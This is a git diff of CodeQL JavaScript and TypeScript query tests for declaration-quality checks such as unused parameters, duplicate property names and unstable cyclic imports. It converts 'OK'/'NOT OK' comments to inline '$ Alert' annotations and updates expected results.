--- a/javascript/ql/test/query-tests/Declarations/SuspiciousMethodNameDeclaration/tst.ts
+++ b/javascript/ql/test/query-tests/Declarations/SuspiciousMethodNameDeclaration/tst.ts
@@ -1,11 +1,11 @@
 var foo: MyInterface = 123 as any;
 
 interface MyInterface {
-  function (): number; // OK. Highly unlikely that it is an accident when there are other named methods in the interface.
-  (): number; // OK: What was probably meant above. 
-  new:() => void; // OK! This is a property, not a method, we ignore those.
-  constructor(): string; // NOT OK! This a called "constructor"
-  new(): Date; // OK! This a constructor signature.
+  function (): number; // OK - Highly unlikely that it is an accident when there are other named methods in the interface.
+  (): number; // OK - What was probably meant above.
+  new:() => void; // OK - This is a property, not a method, we ignore those.
+  constructor(): string; // $ Alert - This a called "constructor"
+  new(): Date; // OK - This a constructor signature.
 
   myNumber: 123; 
 }
@@ -13,15 +13,15 @@ interface MyInterface {
 var a : MyFunction = null as any;
 
 interface MyFunction {
-  function(): number; // NOT OK!
+  function(): number; // $ Alert
 }
 
 
 class Foo {
-  new(): number { // OK! Highly unlikely that a developer confuses "constructor" and "new" when both are present. 
+  new(): number { // OK - Highly unlikely that a developer confuses "constructor" and "new" when both are present.
     return 123;
   }
-  constructor() { // OK! This is a constructor.
+  constructor() { // OK - This is a constructor.
 
   }
   myString = "foobar"
@@ -34,18 +34,18 @@ class Foo {
 var b : FunctionClass = new FunctionClass();
 
 declare class FunctionClass {
-  function(): number; // NOT OK:
+  function(): number; // $ Alert
 }
 
 class Baz {
-    new(): Baz { // OK! When there is a method body I assume the developer knows what they are doing.
+    new(): Baz { // OK - When there is a method body I assume the developer knows what they are doing.
         return null as any;
     }
 }
 
 
 declare class Quz {
-  new(): Quz; // NOT OK! The developer likely meant to write constructor.
+  new(): Quz; // $ Alert - The developer likely meant to write constructor.
 }
 
 var bla = new Foo();
diff --git a/javascript/ql/test/query-tests/Declarations/TemporalDeadZone/TemporalDeadZone.expected b/javascript/ql/test/query-tests/Declarations/TemporalDeadZone/TemporalDeadZone.expected
index 84d7d3d40fc9..3717fc460cea 100644
--- a/javascript/ql/test/query-tests/Declarations/TemporalDeadZone/TemporalDeadZone.expected
+++ b/javascript/ql/test/query-tests/Declarations/TemporalDeadZone/TemporalDeadZone.expected
@@ -1 +1 @@
-| tst.js:3:5:3:5 | s | This expression refers to $@ inside its temporal dead zone. | tst.js:4:5:4:17 | let s = "hi"; | s |
+| tst.js:2:5:2:5 | s | This expression refers to $@ inside its temporal dead zone. | tst.js:3:5:3:17 | let s = "hi"; | s |
diff --git a/javascript/ql/test/query-tests/Declarations/TemporalDeadZone/TemporalDeadZone.qlref b/javascript/ql/test/query-tests/Declarations/TemporalDeadZone/TemporalDeadZone.qlref
index 11d29c61b707..260ac43bc943 100644
--- a/javascript/ql/test/query-tests/Declarations/TemporalDeadZone/TemporalDeadZone.qlref
+++ b/javascript/ql/test/query-tests/Declarations/TemporalDeadZone/TemporalDeadZone.qlref
@@ -1 +1,2 @@
-Declarations/TemporalDeadZone.ql
\ No newline at end of file
+query: Declarations/TemporalDeadZone.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/TemporalDeadZone/tst.js b/javascript/ql/test/query-tests/Declarations/TemporalDeadZone/tst.js
index cb665103c1da..2ee068482544 100644
--- a/javascript/ql/test/query-tests/Declarations/TemporalDeadZone/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/TemporalDeadZone/tst.js
@@ -1,27 +1,26 @@
 function f() {
-    // NOT OK
-    s = null;
+    s = null; // $ Alert
     let s = "hi";
-    // OK
+
     s = "hello";
 }
 
 function g() {
-    // OK
+
     s = null;
     var s = "hi";
-    // OK
+
     s = "hello";
 }
 
 function do_something() {
-    // OK
+
     let foo;
     let foo;
 }
 
 function do_something() {
-    // OK
+
     let foo;
     foo = "bar";
     let foo;
@@ -29,7 +28,7 @@ function do_something() {
 
 if (true) { // enter new scope, TDZ starts
     const func = function () {
-        console.log(myVar); // OK!
+        console.log(myVar);
     };
 
     function otherfunc() {
diff --git a/javascript/ql/test/query-tests/Declarations/TooManyParameters/TooManyParameters.expected b/javascript/ql/test/query-tests/Declarations/TooManyParameters/TooManyParameters.expected
index 6ecb8a664d32..8568ca6705d1 100644
--- a/javascript/ql/test/query-tests/Declarations/TooManyParameters/TooManyParameters.expected
+++ b/javascript/ql/test/query-tests/Declarations/TooManyParameters/TooManyParameters.expected
@@ -1 +1 @@
-| excessiveParameterList.js:4:1:4:48 | functio ... p8) {\\n} | Function func2 has too many parameters (8). |
+| excessiveParameterList.js:4:1:4:59 | functio ... Alert\\n} | Function func2 has too many parameters (8). |
diff --git a/javascript/ql/test/query-tests/Declarations/TooManyParameters/TooManyParameters.qlref b/javascript/ql/test/query-tests/Declarations/TooManyParameters/TooManyParameters.qlref
index 7f245bdda92e..00dcfc5b70a1 100644
--- a/javascript/ql/test/query-tests/Declarations/TooManyParameters/TooManyParameters.qlref
+++ b/javascript/ql/test/query-tests/Declarations/TooManyParameters/TooManyParameters.qlref
@@ -1 +1,2 @@
-Declarations/TooManyParameters.ql
+query: Declarations/TooManyParameters.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/TooManyParameters/excessiveParameterList.js b/javascript/ql/test/query-tests/Declarations/TooManyParameters/excessiveParameterList.js
index 2ff015e35bb7..52a4302d3196 100644
--- a/javascript/ql/test/query-tests/Declarations/TooManyParameters/excessiveParameterList.js
+++ b/javascript/ql/test/query-tests/Declarations/TooManyParameters/excessiveParameterList.js
@@ -1,5 +1,5 @@
 function func1() {
 }
 
-function func2(p1, p2, p3, p4, p5, p6, p7, p8) {
+function func2(p1, p2, p3, p4, p5, p6, p7, p8) { // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Declarations/TooManyParameters/externs.js b/javascript/ql/test/query-tests/Declarations/TooManyParameters/externs.js
index 4327b4885f59..6881d51be716 100644
--- a/javascript/ql/test/query-tests/Declarations/TooManyParameters/externs.js
+++ b/javascript/ql/test/query-tests/Declarations/TooManyParameters/externs.js
@@ -1,4 +1,4 @@
-// OK: overly long parameter lists in external APIs aren't the fault of the externs definitions
+// OK - overly long parameter lists in external APIs aren't the fault of the externs definitions
 function f(a, b, c, d, e, f, g, h) {}
 
 /** @externs */
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Declarations/UniqueParameterNames/UniqueParameterNames.qlref b/javascript/ql/test/query-tests/Declarations/UniqueParameterNames/UniqueParameterNames.qlref
index a6cbbd4df634..f78c9c3afc28 100644
--- a/javascript/ql/test/query-tests/Declarations/UniqueParameterNames/UniqueParameterNames.qlref
+++ b/javascript/ql/test/query-tests/Declarations/UniqueParameterNames/UniqueParameterNames.qlref
@@ -1 +1,2 @@
-Declarations/UniqueParameterNames.ql
+query: Declarations/UniqueParameterNames.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/UniqueParameterNames/tst.js b/javascript/ql/test/query-tests/Declarations/UniqueParameterNames/tst.js
index 1779be95e365..1e814fe219df 100644
--- a/javascript/ql/test/query-tests/Declarations/UniqueParameterNames/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/UniqueParameterNames/tst.js
@@ -1,21 +1,21 @@
 function f(
-x,
-x, // NOT OK
-\u0078 // NOT OK
+x, // $ Alert
+x, // $ Alert
+\u0078
 ) { return; }
 
 this.addPropertyListener(prop.name, function(_, _, _, a) {
   proxy.delegate = a.dao;
 });
 
-// OK: for strict mode functions, duplicate parameter names are a syntax error
+// OK - for strict mode functions, duplicate parameter names are a syntax error
 function f(x, y, x) {
   'use strict';
 }
 
 function f(
 x,
-x // OK: empty function
+x // OK - empty function
 ) { }
 
-(a, a) => a + a; // OK: for strict mode functions, duplicate parameter names are a syntax error
+(a, a) => a + a; // OK - for strict mode functions, duplicate parameter names are a syntax error
diff --git a/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/UniquePropertyNames.qlref b/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/UniquePropertyNames.qlref
index 092a0534a249..770e337950c9 100644
--- a/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/UniquePropertyNames.qlref
+++ b/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/UniquePropertyNames.qlref
@@ -1 +1,2 @@
-Declarations/UniquePropertyNames.ql
+query: Declarations/UniquePropertyNames.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/tst.js b/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/tst.js
index a8a5fe4bb7b9..fe6c4a97b13b 100644
--- a/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/tst.js
@@ -17,9 +17,9 @@ var accessors = {
 };
 
 var clobbering = {
-  x: 23,       // NOT OK: clobbered by `x: 56`
-  y: "hello",  // NOT OK: clobbered by `"y": "world"`
-  x: 42,       // NOT OK: clobbered by `x: 56`
+  x: 23,       // $ Alert - clobbered by `x: 56`
+  y: "hello",  // $ Alert - clobbered by `"y": "world"`
+  x: 42,       // $ Alert - clobbered by `x: 56`
   x: 56,
   "y": "world"
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/tst2.js b/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/tst2.js
index 6332a235e21e..731b0525c7b8 100644
--- a/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/tst2.js
+++ b/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/tst2.js
@@ -7,7 +7,7 @@ var o = {
 
   setX: function(x) {
     this.x = x;
-  },
+  }, // $ Alert
 
   getX: function() {
     return this.x;
diff --git a/javascript/ql/test/query-tests/Declarations/UnreachableOverloads/UnreachableMethodOverloads.qlref b/javascript/ql/test/query-tests/Declarations/UnreachableOverloads/UnreachableMethodOverloads.qlref
index 37aba2753b2b..b419a3298903 100644
--- a/javascript/ql/test/query-tests/Declarations/UnreachableOverloads/UnreachableMethodOverloads.qlref
+++ b/javascript/ql/test/query-tests/Declarations/UnreachableOverloads/UnreachableMethodOverloads.qlref
@@ -1 +1,2 @@
-Declarations/UnreachableMethodOverloads.ql
+query: Declarations/UnreachableMethodOverloads.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/UnreachableOverloads/tst.ts b/javascript/ql/test/query-tests/Declarations/UnreachableOverloads/tst.ts
index 9455c9a161b5..17d95f835cf7 100644
--- a/javascript/ql/test/query-tests/Declarations/UnreachableOverloads/tst.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnreachableOverloads/tst.ts
@@ -1,30 +1,30 @@
 declare class Foobar {
   method(foo: number): string;
-  method(foo: number): number; // NOT OK.
+  method(foo: number): number; // $ Alert
 
   types1<T>(): T[]
-  types1(): any[] // NOT OK.
+  types1(): any[] // $ Alert
 
   types2(): any[]
-  types2<T>(): T[] // OK!
+  types2<T>(): T[]
 
   types3<T extends Array<T>>(t: T): number;
-  types3<T extends string>(t: T): number // OK!
+  types3<T extends string>(t: T): number
 
   on(event: string, fn?: (event?: any, ...args: any[]) => void): Function;
-  on(event: string, fn?: (event?: any, ...args: any[]) => void): Function; // NOT OK.
+  on(event: string, fn?: (event?: any, ...args: any[]) => void): Function; // $ Alert
 
   foo(this: string): string;
-  foo(this: number): number; // OK
+  foo(this: number): number;
 
   bar(this: number): string;
-  bar(this: number): number; // NOT OK
+  bar(this: number): number; // $ Alert
 
 }
 
 declare class Base {
   method(foo: number): string;
-  method(foo: number): number; // NOT OK.
+  method(foo: number): number; // $ Alert
 
   overRiddenInSub(): string;
   overRiddenInSub(): number;
@@ -49,13 +49,13 @@ interface Base2 {
     method(): "bar";
 }
 
-// OK.
+
 interface MultiInheritanceI extends Base1, Base2 {
     method(): "foo";
     method(): "bar";
 }
 
-// OK.
+
 declare class MultiInheritanceC implements Base1, Base2 {
     method(): "foo";
     method(): "bar";
diff --git a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/A.ts b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/A.ts
index 898b246fe9f3..6ad8967fbe1f 100644
--- a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/A.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/A.ts
@@ -1,3 +1,3 @@
 import {B} from './B';
 
-export let A: number = B+1; // NOT OK: `B` is not initialized if `B.ts` is imported first.
+export let A: number = B+1; // $ Alert - `B` is not initialized if `B.ts` is imported first.
diff --git a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/B.ts b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/B.ts
index f22945c1f986..92cc89638297 100644
--- a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/B.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/B.ts
@@ -2,4 +2,4 @@ import {A} from './A';
 
 export let B: number = 100;
 
-export let Q: number = A; // NOT OK: `A` is not initialized if `A.ts` is imported first.
+export let Q: number = A; // $ Alert - `A` is not initialized if `A.ts` is imported first.
diff --git a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/ExampleBad/services.js b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/ExampleBad/services.js
index bc215a3b6983..a7ec4ead8979 100644
--- a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/ExampleBad/services.js
+++ b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/ExampleBad/services.js
@@ -2,7 +2,7 @@ import { AudioService } from './audio'
 import { StoreService } from './store';
 
 export const services = [
-  AudioService,
+  AudioService, // $ Alert
   StoreService
 ];
 
diff --git a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/UnstableCyclicImport.qlref b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/UnstableCyclicImport.qlref
index f8f5f52dffc2..d77733eeada1 100644
--- a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/UnstableCyclicImport.qlref
+++ b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/UnstableCyclicImport.qlref
@@ -1 +1,2 @@
-Declarations/UnstableCyclicImport.ql
+query: Declarations/UnstableCyclicImport.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/acyclicImport.ts b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/acyclicImport.ts
index fa3dfff4b500..3b9a180a68fa 100644
--- a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/acyclicImport.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/acyclicImport.ts
@@ -1,3 +1,3 @@
 import {B} from './B';
 
-console.log(B) // OK: `B` does not import this file
+console.log(B) // OK - `B` does not import this file
diff --git a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/exportCycleA.ts b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/exportCycleA.ts
index 7cd3d8dc021c..6a66f26422d6 100644
--- a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/exportCycleA.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/exportCycleA.ts
@@ -1,4 +1,4 @@
 import {B} from './exportCycleB';
 
 export var A = 100;
-export {B}; // OK: export binding does not immediately evaluate 'B'
+export {B}; // OK - export binding does not immediately evaluate 'B'
diff --git a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/exportCycleB.ts b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/exportCycleB.ts
index 75c0593f980e..057e72352b77 100644
--- a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/exportCycleB.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/exportCycleB.ts
@@ -1,3 +1,3 @@
 import {A} from './exportCycleA';
 
-export let B = () => A; // OK: `A` is not used during initialization.
+export let B = () => A; // OK - `A` is not used during initialization.
diff --git a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/safeA.ts b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/safeA.ts
index 2627fefa0e07..538e7fb44050 100644
--- a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/safeA.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/safeA.ts
@@ -3,5 +3,5 @@ import {B} from './safeB';
 export let A = 100;
 
 export function getSum() {
-  return A + B; // OK: not accessed from top-level
+  return A + B; // OK - not accessed from top-level
 }
diff --git a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/safeB.ts b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/safeB.ts
index 19d7c26d1bdf..dfc1d45417a4 100644
--- a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/safeB.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/safeB.ts
@@ -3,5 +3,5 @@ import {A} from './safeA';
 export let B = 20;
 
 export function getProduct() {
-  return A * B; // OK: not accessed from top-level
+  return A * B; // OK - not accessed from top-level
 }
diff --git a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/typeA.ts b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/typeA.ts
index 178e2d04399e..fbb37b4b1ae6 100644
--- a/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/typeA.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnstableCyclicImport/typeA.ts
@@ -4,4 +4,4 @@ export interface TypeA {
   field: TypeB
 }
 
-export let valueA = valueB; // OK: these imports are not cyclic at runtime
+export let valueA = valueB; // OK - these imports are not cyclic at runtime
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedParameter/UnusedParameter.expected b/javascript/ql/test/query-tests/Declarations/UnusedParameter/UnusedParameter.expected
index 34cf2d268dc8..f47146ae9b90 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedParameter/UnusedParameter.expected
+++ b/javascript/ql/test/query-tests/Declarations/UnusedParameter/UnusedParameter.expected
@@ -1,6 +1,6 @@
 | istype.ts:18:15:18:18 | node | The parameter 'node' is never used. |
 | parameter_field.ts:6:15:6:15 | x | The parameter 'x' is never used. |
 | tst2.js:1:12:1:12 | x | The parameter 'x' is never used. |
-| tst2.js:29:12:29:12 | x | The parameter 'x' is never used. |
-| tst.js:7:32:7:34 | idx | The parameter 'idx' is never used. |
-| tst.js:12:13:12:13 | x | The parameter 'x' is never used. |
+| tst2.js:28:12:28:12 | x | The parameter 'x' is never used. |
+| tst.js:6:32:6:34 | idx | The parameter 'idx' is never used. |
+| tst.js:10:13:10:13 | x | The parameter 'x' is never used. |
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedParameter/UnusedParameter.qlref b/javascript/ql/test/query-tests/Declarations/UnusedParameter/UnusedParameter.qlref
index b04f67ab67e4..840ecd233e83 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedParameter/UnusedParameter.qlref
+++ b/javascript/ql/test/query-tests/Declarations/UnusedParameter/UnusedParameter.qlref
@@ -1 +1,2 @@
-Declarations/UnusedParameter.ql
+query: Declarations/UnusedParameter.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedParameter/istype.ts b/javascript/ql/test/query-tests/Declarations/UnusedParameter/istype.ts
index 1854dd539135..15bff6ed8921 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedParameter/istype.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedParameter/istype.ts
@@ -12,10 +12,10 @@ class SingletonTreeModel implements ITreeModel {
   isLeafNode(node: Node): node is LeafNode {
     return node instanceof LeafNode;
   }
-  isBranchNode(node: Node): node is BranchNode { // OK
+  isBranchNode(node: Node): node is BranchNode {
     return false; // This model has no branches.
   }
-  isValidNode(node: Node): boolean { // NOT OK
+  isValidNode(node: Node): boolean { // $ Alert
     return Node != null; // woops
   }
 }
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedParameter/parameter_field.ts b/javascript/ql/test/query-tests/Declarations/UnusedParameter/parameter_field.ts
index fe32f6e80ea5..6ca356434eaf 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedParameter/parameter_field.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedParameter/parameter_field.ts
@@ -1,7 +1,7 @@
 class C {
-  constructor(public x: number) {} // OK
+  constructor(public x: number) {}
 }
 
 class D {
-  constructor(x: number) {} // NOT OK
+  constructor(x: number) {} // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedParameter/thisparameter.ts b/javascript/ql/test/query-tests/Declarations/UnusedParameter/thisparameter.ts
index 264928281a32..84aff19d331a 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedParameter/thisparameter.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedParameter/thisparameter.ts
@@ -1,3 +1,3 @@
-function foo(this: void, x: number) { // OK: 'this' is not an ordinary parameter
+function foo(this: void, x: number) { // OK - 'this' is not an ordinary parameter
   return x;
 }
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedParameter/tst.js b/javascript/ql/test/query-tests/Declarations/UnusedParameter/tst.js
index cb7a02387c21..7e367fc67dfa 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedParameter/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedParameter/tst.js
@@ -1,28 +1,26 @@
-// OK
+
 [1, , 3].forEach(function(elt, idx) {
 	console.log(idx + " is not omitted.");
 });
 
-// NOT OK
-[1, , 3].forEach(function(elt, idx) {
+[1, , 3].forEach(function(elt, idx) { // $ Alert
 	sum += elt;
 });
 
-// NOT OK
-function f1(x, y) {
+function f1(x, y) { // $ Alert
 	return y;
 }
 
 f1(23, 42);
 
-// OK
+
 function f2(x, y) {
 	return y;
 }
 
 [].map(f2);
 
-// OK
+
 function f3(x, y) {
 	return y;
 }
@@ -30,11 +28,11 @@ function f3(x, y) {
 var g = f3;
 [].map(g);
 
-// OK
+
 define(function (require, exports, module) {
 	module.x = 23;
 });
 
-// OK: starts with underscore
+// OK - starts with underscore
 function f(_p) {
 }
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedParameter/tst2.js b/javascript/ql/test/query-tests/Declarations/UnusedParameter/tst2.js
index 7621dca4b0da..89e4ed305f36 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedParameter/tst2.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedParameter/tst2.js
@@ -1,18 +1,18 @@
-function f(x, y) { // NOT OK
+function f(x, y) { // $ Alert
   return y;
 }
 
-function g(x, y) { // OK
+function g(x, y) {
   return y + arguments[0];
 }
 
-function h(x) { // OK
+function h(x) {
   function inner() {
     x = 1;
   }
 }
 
-// OK
+
 /**
  * @param {*} x the first argument, deliberately unused
  * @param {*} y the second argument
@@ -21,16 +21,15 @@ function K(x, y) {
     return y;
 }
 
-// NOT OK
 /**
  * @param {*} x the first argument
  * @param {*} y the second argument
  */
-function K(x, y) {
+function K(x, y) { // $ Alert
     return y;
 }
 
-// OK
+
 /**
  * @abstract
  * @param {*} x the first argument
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedProperty/UnusedProperty.qlref b/javascript/ql/test/query-tests/Declarations/UnusedProperty/UnusedProperty.qlref
index 9583241c2f0d..0dca4ee68e4e 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedProperty/UnusedProperty.qlref
+++ b/javascript/ql/test/query-tests/Declarations/UnusedProperty/UnusedProperty.qlref
@@ -1 +1,2 @@
-Declarations/UnusedProperty.ql
+query: Declarations/UnusedProperty.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedProperty/tst.js b/javascript/ql/test/query-tests/Declarations/UnusedProperty/tst.js
index 847f30bd9443..d5e1525afac5 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedProperty/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedProperty/tst.js
@@ -1,7 +1,7 @@
 (function(){
     var captured1 = {
         used1: 42,
-        unused1: 42
+        unused1: 42 // $ Alert
     };
     captured1.used1;
 
@@ -16,20 +16,20 @@
     f(...{used6: 42});
     [...{used7: 42}];
 	({...{used8: 42}});
-	({ unused9: 42 }) + "";
+	({ unused9: 42 }) + ""; // $ Alert
     ({ used10: 42 }).hasOwnProperty;
     ({ used10: 42 }).propertyIsEnumerable;
 
     (function(){
         var captured11 = {
             used11: 42,
-            unused11: 42
+            unused11: 42 // $ Alert
         };
         captured11.used11;
 
         var captured12 = {
-            used12_butNotReally: 42,
-            unused12: 42
+            used12_butNotReally: 42, // $ Alert
+            unused12: 42 // $ Alert
         };
 
         throw x;
@@ -49,10 +49,10 @@
     });
 
 	var captured14 = {
-		unused14: 42
+		unused14: 42 // $ Alert
 	};
-	captured14.unused14 = 42;
-	captured14.unused14 = 42;
+	captured14.unused14 = 42; // $ Alert
+	captured14.unused14 = 42; // $ Alert
 
 
 	var captured15 = {
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedProperty/tst2.ts b/javascript/ql/test/query-tests/Declarations/UnusedProperty/tst2.ts
index 7ad7c508df8d..7906faf06c98 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedProperty/tst2.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedProperty/tst2.ts
@@ -21,7 +21,7 @@ class C {
 }
 
 (function(){
-    var o1: any = { p: 42, q: 42 };
+    var o1: any = { p: 42, q: 42 }; // $ Alert
     o1.q;
     var o2: any = { p: 42, q: 42 };
     var o3: { p: int, q: int } = o2;
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/Babelrc/importPragma.jsx b/javascript/ql/test/query-tests/Declarations/UnusedVariable/Babelrc/importPragma.jsx
index ac3df7f815ce..a8c86768ad1a 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/Babelrc/importPragma.jsx
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/Babelrc/importPragma.jsx
@@ -1,4 +1,4 @@
 import { h } from 'preact'; // OK - JSX element uses 'h' after babel compilation
-import { q } from 'preact'; // NOT OK - not used 
+import { q } from 'preact'; // $ Alert - not used
 
 export default (<div>Hello</div>);
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/UnusedIndexVariable.js b/javascript/ql/test/query-tests/Declarations/UnusedVariable/UnusedIndexVariable.js
index a77c7545deee..321a1df2f7b3 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/UnusedIndexVariable.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/UnusedIndexVariable.js
@@ -1,6 +1,6 @@
 function sum(xs, i) {
   var res = 0;
-  for(;i++<xs.length;) // NOT OK, but flagged by js/unused-index-variable
+  for(;i++<xs.length;) // OK - flagged by js/unused-index-variable
     res += xs[0];
   return res;
 }
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/UnusedVariable.expected b/javascript/ql/test/query-tests/Declarations/UnusedVariable/UnusedVariable.expected
index 73be1f62b893..bdc45747a7d1 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/UnusedVariable.expected
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/UnusedVariable.expected
@@ -1,9 +1,7 @@
 | Babelrc/importPragma.jsx:2:1:2:27 | import  ... react'; | Unused import q. |
-| decorated.ts:1:1:1:126 | import  ... where'; | Unused import actionHandler. |
-| decorated.ts:4:10:4:12 | fun | Unused function fun. |
 | eval.js:10:9:10:24 | not_used_by_eval | Unused variable not_used_by_eval. |
 | eval.js:19:9:19:24 | not_used_by_eval | Unused variable not_used_by_eval. |
-| externs.js:6:5:6:13 | iAmUnused | Unused variable iAmUnused. |
+| externs.js:5:5:5:13 | iAmUnused | Unused variable iAmUnused. |
 | importWithoutPragma.jsx:1:1:1:27 | import  ... react'; | Unused import h. |
 | interTypes.ts:1:1:1:37 | import  ... where"; | Unused import Bar. |
 | multi-imports.js:1:1:1:29 | import  ... om 'x'; | Unused imports a, b, d. |
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/UnusedVariable.qlref b/javascript/ql/test/query-tests/Declarations/UnusedVariable/UnusedVariable.qlref
index dc21de1d47e1..cee7fe7a97c6 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/UnusedVariable.qlref
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/UnusedVariable.qlref
@@ -1 +1,2 @@
-Declarations/UnusedVariable.ql
+query: Declarations/UnusedVariable.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/decorated.ts b/javascript/ql/test/query-tests/Declarations/UnusedVariable/decorated.ts
index e400ec26cfd3..39a06d5eb293 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/decorated.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/decorated.ts
@@ -1,13 +1,7 @@
-import {actionHandler, actionHandlerFactory, actionHandlerFactoryProvider, actionHandlerFactoryProviderKind} from 'somewhere'; // OK: imports used as decorators
-
-@actionHandler
-function fun() {} // OK: decorator might use the function
+import { actionHandlerFactory, actionHandlerFactoryProvider } from 'somewhere'; // OK - imports used as decorators
 
 @actionHandlerFactory
-class Class {}  // OK: decorator might use the class
+class Class { }  // OK - decorator might use the class
 
 @actionHandlerFactoryProvider
-export class ExportedClass {} // OK: decorator might use the class
-
-@actionHandlerFactoryProviderKind
-enum Enum { plain } // OK: decorator might use the enum
+export class ExportedClass { } // OK - decorator might use the class
